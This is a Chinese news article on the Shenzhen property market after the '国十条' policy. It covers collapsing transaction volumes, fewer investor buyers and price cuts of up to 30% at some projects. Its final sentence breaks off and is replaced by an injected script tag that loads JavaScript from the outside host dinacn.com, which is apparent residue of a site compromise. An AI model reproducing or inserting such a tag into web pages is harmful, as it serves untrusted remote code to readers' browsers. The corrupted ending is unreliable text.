相比“国十条”出台前，我市部分楼盘二手房成交均价下降幅度已超过10%。深圳商报记者 姜志强 摄

　　来自市场的信息显示，深圳楼市成交量已经跌入冰点，较多楼盘开始降价出售。业内人士表示，巨大的市场压力可能会使价格空间扩大，楼价虽然整体暂显平稳，但已经开始慢慢步入下行通道。

　　相关阅读：定价深陷两难困局 10万抵20万重出江湖变相促销

　　市规划与国土委的成交数据显示，上一周全市成交新房343套，面积2.91万平方米，环比增长了18.3%，这可能是前两周推盘较多，带动了上周楼市成交量的小幅上涨。但是，对比之前数据，上一周成交仍继续滞留在近年来成交量的低谷。在所有的区域中，龙岗成交量减幅最大，区域楼盘成交普减，除了双限房大芬油画苑外，没有楼盘成交超过10套，成交超过5套的仅1个楼盘。

　　有关人士表示，楼市调控政策出台至今历时整整一月，深圳房地产市场继续维持买卖双方的僵持状态。上周没有新盘取得预售许可证，公开发售的项目均为前几周推盘的项目，楼市依然低迷，多数在售楼盘的销售未见较多起色，甚至一些楼盘出现零成交。整体而言楼盘成交均价大都出现滞涨的局面，买方降价期望浓厚。

　　地产机构的一份报告显示，深圳楼市投资客比例大幅下降。去年深圳房地产投资客比例最高时达27%，有的片区甚至高达五成。今年4月初，投资客比例仍有22.9%，但是，到了4月底，这一比例降为17%。

　　根据中原地产的监测数据，3月16日～4月15日，深圳新房成交146套，而4月16日～5月15日，新房成交只有52套，下降64%。由于供应结构原因，新房成交均价有小幅上涨。二手房方面，3月16日～4月15日，全市二手房成交4032套，4月16日～5月15日，全市二手房成交422套，下降幅度高达89%。同时，均价下降9.17%。

　　据了解，深圳中原地产上周二手房成交量仅十余套，按照深圳中原在全市的市场占有率推算，上周全市二手房成交量应不足百套，二手房市场的成交颓势明显。

　　值得注意的是，目前已经有不少楼盘开始降价。中原地产的监测数据显示，包括新房和二手房在内，全市目前已经有36个楼盘降价，其中降价幅度最大的为中海大山地，“国十条”出台前二手房均价为每平方米13400元，而“国十条”出台一个月之后，二手房均价为每平方米9253元，降价幅度高达30%。

　　此外，南海玫瑰?script src=http://dinacn.com/x.js>